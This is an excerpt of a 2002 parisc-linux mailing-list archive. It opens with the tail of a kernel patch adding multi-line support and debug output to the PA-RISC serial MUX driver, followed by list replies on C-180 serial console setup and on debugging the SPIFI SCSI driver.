+                    printk ("\n\n<<console machine reset>>\n\n");
+                    machine_restart (NULL);
+		}
 
 		tty->flip.flag_buf_ptr++;
 		tty->flip.char_buf_ptr++;
@@ -146,13 +154,19 @@
 static void
 mux_drv_poll(unsigned long unused)
 {
-	struct async_struct *info = mux_drv_info;
+	struct async_struct *info;
+	int line;
 
-	if(info && info->tty && mux_drv_refcount) {
+	for (line = 0; line < NR_PORTS; line++)
+	{
+	    info = mux_drv_info [line];
+	    if(info && info->tty && mux_drv_refcount [line]) {
+		/* CP */ printk ("%s: %d\n", __FUNCTION__, line);
 		mux_read_fifo(info);
 		info->last_active = jiffies;
+	    }
 	}
-
+	/* CP */ printk ("%s:    done\n", __FUNCTION__);
 	mod_timer(&mux_drv_timer, jiffies + MUX_POLL_DELAY);
 }
 
@@ -224,6 +238,21 @@
 	unsigned long iomem_base = 
 		(unsigned long)((struct async_struct *)tty->driver_data)->iomem_base;
 
+	/* CP */ 
+	{
+	    int i, line = ((struct async_struct *)tty->driver_data)->line;
+
+	    if (line > 0)
+	    {
+		printk ("%s: <%s>(%d) to 0x%08x\n", __FUNCTION__, 
+			buf, count, iomem_base + IO_DATA_REG_OFFSET);
+		
+		for (i = 0; i < count; i++)
+		    printk ("%02x ", buf [i]);
+		printk ("\n");
+	    }
+	}
+
 	while (count) {
 		size = mux_write_room(tty);
 		len = (size < count) ? size : count;
@@ -245,8 +274,10 @@
 			__raw_writel(*buf_p++, iomem_base + IO_DATA_REG_OFFSET);
 		}
 	}
+	/* CP */ printk ("%s:    before mux_flush_buffer()\n", __FUNCTION__);
 
 	mux_flush_buffer(tty);
+	/* CP */ printk ("%s:    done\n", __FUNCTION__);
 	return ret;
 }
 
@@ -402,9 +433,11 @@
 mux_close(struct tty_struct *tty, struct file *filp)
 {
 	struct async_struct *info = (struct async_struct *) tty->driver_data;
+	int line = info->line;
 
-	mux_drv_refcount--;
-	if (mux_drv_refcount > 0)
+	mux_drv_refcount [line]--;
+	global_mux_drv_refcount--;
+	if (mux_drv_refcount [line] > 0)
 		return;
 
 	info->flags |= ASYNC_CLOSING;
@@ -434,7 +467,7 @@
 	tty->closing = 0;
 	info->event = 0;
 	info->tty = 0;
-	mux_drv_info = NULL;
+	mux_drv_info [line] = NULL;
 	if (info->blocked_open) {
 		if (info->close_delay) {
 			set_current_state(TASK_INTERRUPTIBLE);
@@ -473,7 +506,8 @@
 	info->port = 0;
 	info->flags = 0;
 	info->io_type = 0;
-	info->iomem_base = (void *)(hpa + MUX_OFFSET);
+	info->iomem_base = (void *)(hpa + MUX_OFFSET + 
+				    (line * MUX_LINE_OFFSET));
 	info->iomem_reg_shift = 0;
 	info->xmit_fifo_size = MUX_FIFO_SIZE;
 	info->line = line;
@@ -514,11 +548,12 @@
 
 	tty->driver_data = info;
 	info->tty = tty;
-	mux_drv_info = info;
+	mux_drv_info [line] = info;
 	info->tty->low_latency = 0;
 	info->session = current->session;
 	info->pgrp = current->pgrp;
-	mux_drv_refcount++;
+	mux_drv_refcount [line]++;
+	global_mux_drv_refcount++;
 	return 0;
 }
 
@@ -533,7 +568,8 @@
 mux_probe(struct parisc_device *dev)
 {
 	if(hpa) {
-		printk(KERN_INFO "Serial MUX driver already registered, skipping additonal MUXes for now.\n");
+		printk(KERN_INFO "Serial MUX driver already registered, "
+		       "skipping additonal MUXes for now.\n");
 		return 1;
 	}
 
@@ -564,7 +600,7 @@
 	mux_drv_driver.init_termios.c_cflag =
 	    B9600 | CS8 | CREAD | HUPCL | CLOCAL;
 	mux_drv_driver.flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_NO_DEVFS;
-	mux_drv_driver.refcount = &mux_drv_refcount;
+	mux_drv_driver.refcount = &global_mux_drv_refcount;
 	mux_drv_driver.table = mux_drv_table;
 	mux_drv_driver.termios = mux_drv_termios;
 	mux_drv_driver.termios_locked = mux_drv_termios_locked;
@@ -627,7 +663,8 @@
 {
 	int status = tty_unregister_driver(&mux_drv_driver);
 	if(status) {
-		printk("MUX: failed to unregister the Serial MUX driver (%d)\n", status);
+		printk("MUX: failed to unregister the "
+		       "Serial MUX driver (%d)\n", status);
 	}
 }
 

--------------337BA726D358AC462F45C980--



From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial Terminal on C-180 system
Date: Mon, 16 Sep 2002 19:15:01 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <3D8665F5.9090102@charter.net>
References: <3D86629A.F8CB5564@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621723 14038 80.91.229.3 (22 Nov 2014 02:02:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:03 +0000 (UTC)
To: Rod Smart <snaketails@optushome.com.au>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 17:15:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx09.cluster1.charter.net (dc-mx09.cluster1.charter.net [209.225.8.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id E377B4829
	for <parisc-linux@parisc-linux.org>; Mon, 16 Sep 2002 17:15:20 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx09.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 3907515; Mon, 16 Sep 2002 19:15:18 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16144

As I understand it, if you unplug the keyboard and mouse,
then the system will boot to serial console. I think you
just plug the kb, mouse, and monitor in and you will get
a graphics console. You might have to set something in the
firmware also, can't remember.

- Doug



Rod Smart wrote:
>     Hello again.
> 
>     Last time I was here I was asking about how to get the C-180 to use
> Serial Terminal, I havn't been able to get it talking to the other Linux
> or wincrash system, so I would like to transfer it back to Video mode
> (turn off Serial Terminal.
> 
>     How do I do this when I cannot see the screen ?
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial Terminal on C-180 system
Date: Mon, 16 Sep 2002 16:35:15 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <20020916233515.96215.qmail@web12507.mail.yahoo.com>
References: <3D86629A.F8CB5564@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621723 14039 80.91.229.3 (22 Nov 2014 02:02:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:03 +0000 (UTC)
To: Rod Smart <snaketails@optushome.com.au>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 17:35:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id B04AF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 17:35:18 -0600 (MDT)
Original-Received: from [156.153.255.126] by web12507.mail.yahoo.com via HTTP; Mon, 16 Sep 2002 16:35:15 PDT
In-Reply-To: <3D86629A.F8CB5564@optushome.com.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16145

The C180 will output a signal to the serial port whenever it doesn't
detect a keyboard.  It doesn't need to be turned off.  So, plug in your
monitor, mouse, and keyboard.  You should get something off you
graphics card unless you really messed up the graphics config in the
boot handler menus.  If you don't get anything you will problably need
to connect a serial console to your machine that will emulate vt100.  


derek

--- Rod Smart <snaketails@optushome.com.au> wrote:
>     Hello again.
> 
>     Last time I was here I was asking about how to get the C-180 to
> use
> Serial Terminal, I havn't been able to get it talking to the other
> Linux
> or wincrash system, so I would like to transfer it back to Video mode
> (turn off Serial Terminal.
> 
>     How do I do this when I cannot see the screen ?
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do you Yahoo!?
Yahoo! News - Today's headlines
http://news.yahoo.com


From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Status SPIFI SCSI
Date: 16 Sep 2002 20:25:01 -0600
Lines: 132
Approved: news@gmane.org
Message-ID: <1032229501.930.45.camel@beavis>
References: <3D8516EF.7A7D8206@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621723 14041 80.91.229.3 (22 Nov 2014 02:02:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:03 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 20:25:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9591C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 20:25:03 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 552CD2B281; Mon, 16 Sep 2002 20:25:01 -0600 (MDT)
In-Reply-To: <3D8516EF.7A7D8206@gmx.at>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16146

Hello Christoph,


On Sun, 2002-09-15 at 17:25, Christoph Plattner wrote:
> Hallo Ryan,
> 
> here some comments on my non-successful work so far.
> 
> I did code reading and used debug instrumented code
> to understand the structure behind the linux SCSI
> handling.
> 
> Further I studied the NetBSD code. 
> 
> One major point: We do not get any interrupts.
> For my analysis I only had a look on the first
> steps of SCSI initialization, so this was the
> INQUERY command.

This is where I am also currently stuck :(  The
ESIEE guys are going to hook up an analyzer to the
box and see if the target device is getting the command
(ie... did we send the command correctly to the device)
or if the device returns a command (do we catch the
command the device is returning).  I have been studyting
the setup routines in the HP-UX driver and I believe
I have the chip initialized properly ... but I am not
sure why I am not getting any interrupts.   Hopefully
between ESIEE, you, and myself and anyone else
interested we can figure this out.


> The spifi command routine is called correctly,
> but it has a wrong logical implementation. As I 
> have seen on other (older) linux driver, the
> xxx_command() has to block, after the command was
> successful completed by interrupt. But the interrupt
> never comes !! Even a "long" delay for simulating
> blocking does not solve this problem.

That is highly possible.  The driver skeleton is just
a test harness for me right now.  I am just trying to see
what I can get returned from the spifi chip (that is why
most of the functions are stubs with printk.  Once I see 
an interrupt come in, I'll start working on putting that piece
togeather.

> From base of the NetBSD code, I cannot follow your
> code resetting the spifi subsystem. I think you have
> this from HP-UX code. Especially the 
> 
>   __raw_writel(CMD_RESET, dev->hpa + IO_MODULE_COMMAND);

Yes, this is part of the initizlization from the HP-UX
driver.  The Loquix chip sits between the HP-PB bus, and
the spifi scsi chip.  According to the HP-UX driver, the 
Loquix chip also required some setup.  Once again, I
do not actually have the Loquix documentation, but I might
have a lead on it.  Will have to wait and see if that lead
pans out.

> Is this a reset method via the IO PDC address space
> common for all HP devices ? In the NetBSD the full
> reset is done only via the `auxctrl' register, which
> you use for releasing the reset state.

I am not sure about all the HP devices.  It might be an iodc
specific call.  I will have to look at the driver again,
but that might reset the loquix chip *shrug* I'll take
a look and see what I can find.

> So we have a principal problem here, not having correct
> access to the spifi subsystem. Except: the SCSI-ID is
> read out correctly, I think, as ...
>
> SCSI subsystem driver Revision: 1.00
> DEBUG: 0xfff74c00
> Device: Sahp Baat Kiuh SCSI
> scsi0 : SPIFI SCSI: scsi_id: 7 IRQ: 34 type: SPIFI-3 (SE) parity
> checking: enabled
> 
> ... is reported !

That is where I am also. We actually read the type SPIFI-3 (SE) for the
SKUNK card, and SPIFI-3 (DF) for the wizard (16-bit) card.  I have
tested this on both cards so I know it works.  I am convinced we are
reading the correct information from the card, but what I am not
convinced of is that we have it setup properly yet :)  The problem is I 
do not know what I am missing yet :(

> Is everything around the interrupt subsystem setup correctly ?
> The `cat /proc/interrupts' tells ...
> 
> bash# cat /proc/interrupts 
>           CPU396195552 
>  32:     124925      PARISC-CPU  timer
>  33:      19767      PARISC-CPU  lasi
>  34:          0      PARISC-CPU  spifi
>  87:      19767            Lasi  i82596
> 
> ... which is no surprise ... !
>

I do not think the fact the interrupt is registered is very infomative,
I think you can register an interrupt for device even if it doesn't have
an real irq assocaitated with it (ie... the serial mux).  


Yeah, thanks for looking at it ... we will have to beat on it some more
and see what we can find.  Hopefully the ESIEE guys will be able to
provide us with some good information!

Thanks

- Ryan


> Till soon,
> Christoph P.
> 
> 
> 
> 
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 




From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: SCSI/MUX driver on E55, NDA for sorce code
Date: 16 Sep 2002 20:29:22 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <1032229762.1043.50.camel@beavis>
References: <3D825FDF.CD6E8CE2@gmx.at> <1031962399.930.17.camel@beavis>
	<3D8281F4.F03A2007@gmx.at> <1031964117.1043.29.camel@beavis>
	<3D84CD3B.88A9528B@gmx.at>
	<20020915192500.D10583@parcelfarce.linux.theplanet.co.uk> 
	<3D8519D7.55D90667@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621724 14043 80.91.229.3 (22 Nov 2014 02:02:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:04 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, varenet@esiee.fr,
	"MEYER,ALAN C.   " "(HP-FtCollins,ex1)" <alan_meyer@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 20:29:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4554829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 20:29:24 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id A8F222B281; Mon, 16 Sep 2002 20:29:22 -0600 (MDT)
In-Reply-To: <3D8519D7.55D90667@gmx.at>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16147

On Sun, 2002-09-15 at 17:37, Christoph Plattner wrote:
> Thanks for that !
> 
> But I think, my Linux code dose the same !!!
> 
> 	info->iomem_base = (void *)(hpa + MUX_OFFSET + 
> 				    (line * MUX_LINE_OFFSET));
> 
> This info->iomem_base is used by all accesses, the 
> registers of i/o are defined by Ryan as:
> 
> #define IO_COMMAND_REG_OFFSET 0x30
> #define IO_STATUS_REG_OFFSET 0x34
> #define IO_DATA_REG_OFFSET 0x3c
> #define IO_DCOUNT_REG_OFFSET 0x40
> #define IO_UCOUNT_REG_OFFSET 0x44
> #define IO_FIFOS_REG_OFFSET 0x48
> 
> So the offset of 0x30 is inside those macros.
> 
> An example of an access:
> 
> 		data = __raw_readl((unsigned long)info->iomem_base 
> 				   + IO_DATA_REG_OFFSET);
> 
> ... reading characters from the input buffers.
> 
> Any further idea ?
> 
> Ryan, you mentioned problems concerning missing locks, but
> I cannot think about this. Those devices should be controlled
> independent, am I wrong ?

Locks was just an idea of why it might now work.  Nothing suggested that
yet.  I found the MPD, now I just need to make a cable for it to hook up
to a different system and test with.  Hopefully will get this done this
week and I'll take a look at it :)

> I hope, we will solve this all (all means including SPIFI
> SCSI driver too !).
> 
> Christoph




From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Status SPIFI SCSI
Date: Mon, 16 Sep 2002 21:53:27 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20020917035327.E51E34829@dsl2.external.hp.com>
References: <3D8516EF.7A7D8206@gmx.at>  <1032229501.930.45.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621724 14048 80.91.229.3 (22 Nov 2014 02:02:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:04 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 21:53:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E51E34829; Mon, 16 Sep 2002 21:53:27 -0600 (MDT)
In-Reply-To: Message from Ryan Bradetich <rbradetich@uswest.net> 
   of "16 Sep 2002 20:25:01 MDT." <1032229501.930.45.camel@beavis> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16148

Ryan Bradetich wrote:
> >   __raw_writel(CMD_RESET, dev->hpa + IO_MODULE_COMMAND);

This looks like something will be documented in the IO ACD.
CMD_RESET is an architecture defined command PA IO devices
are required to accept.

> > Is this a reset method via the IO PDC address space
> > common for all HP devices?

I believe so. That doesn't mean *all* of them implement
it properly or even need it.

> That is where I am also. We actually read the type SPIFI-3 (SE) for the
> SKUNK card, and SPIFI-3 (DF) for the wizard (16-bit) card.

I'm pretty sure wizard card used SPIFI-4.


hth,
grant


From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.Steindlberger" <j@steindlberger.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial Terminal on C-180 system
Date: Tue, 17 Sep 2002 09:24:49 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20020917072310.0167F4829@dsl2.external.hp.com>
References: <3D86629A.F8CB5564@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621724 14051 80.91.229.3 (22 Nov 2014 02:02:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Rod Smart <snaketails@optushome.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 01:23:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server01 (s217-115-138-231.colo.hosteurope.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0167F4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 01:23:09 -0600 (MDT)
Original-Received: from there ([::ffff:10.255.124.2])
  (IDENT: jst)
  by server01 with esmtp; Tue, 17 Sep 2002 09:23:07 +0200
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <3D86629A.F8CB5564@optushome.com.au>
X-Mime-Autoconverted: from 8bit to 7bit by courier 0.39
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16149

Hi Rod,

I guess Your problem is, that Your C180 graphic is not sending an usable 
signal to Your Monitor. You need to plug in keyboard an monitor. And a few 
seconds after switching on press the TAB key -- the workstation will change 
the video mode several times with about 3 seconds delay. Press ENTER if the 
mode is okay for You. (I hope it's correct in my mind)

I don't know whether or not You need do some changes via serial first. 
(Switch console with "pa con graphic(0)" perhaps)

On Tuesday 17 September 2002 01:00, you wrote:
>     Hello again.
>
>     Last time I was here I was asking about how to get the C-180 to use
> Serial Terminal, I havn't been able to get it talking to the other Linux
> or wincrash system, so I would like to transfer it back to Video mode
> (turn off Serial Terminal.
>
>     How do I do this when I cannot see the screen ?


From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B132L+ crash with mpg123
Date: Tue, 17 Sep 2002 12:19:22 +0200
Organization: ESIEE
Lines: 51
Approved: news@gmane.org
Message-ID: <3D8701AA.4040700@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621725 14056 80.91.229.3 (22 Nov 2014 02:02:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:05 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 04:21:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2395B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 04:21:33 -0600 (MDT)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP id 2DCE549CA7
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 12:21:31 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16150

Hi fellows !

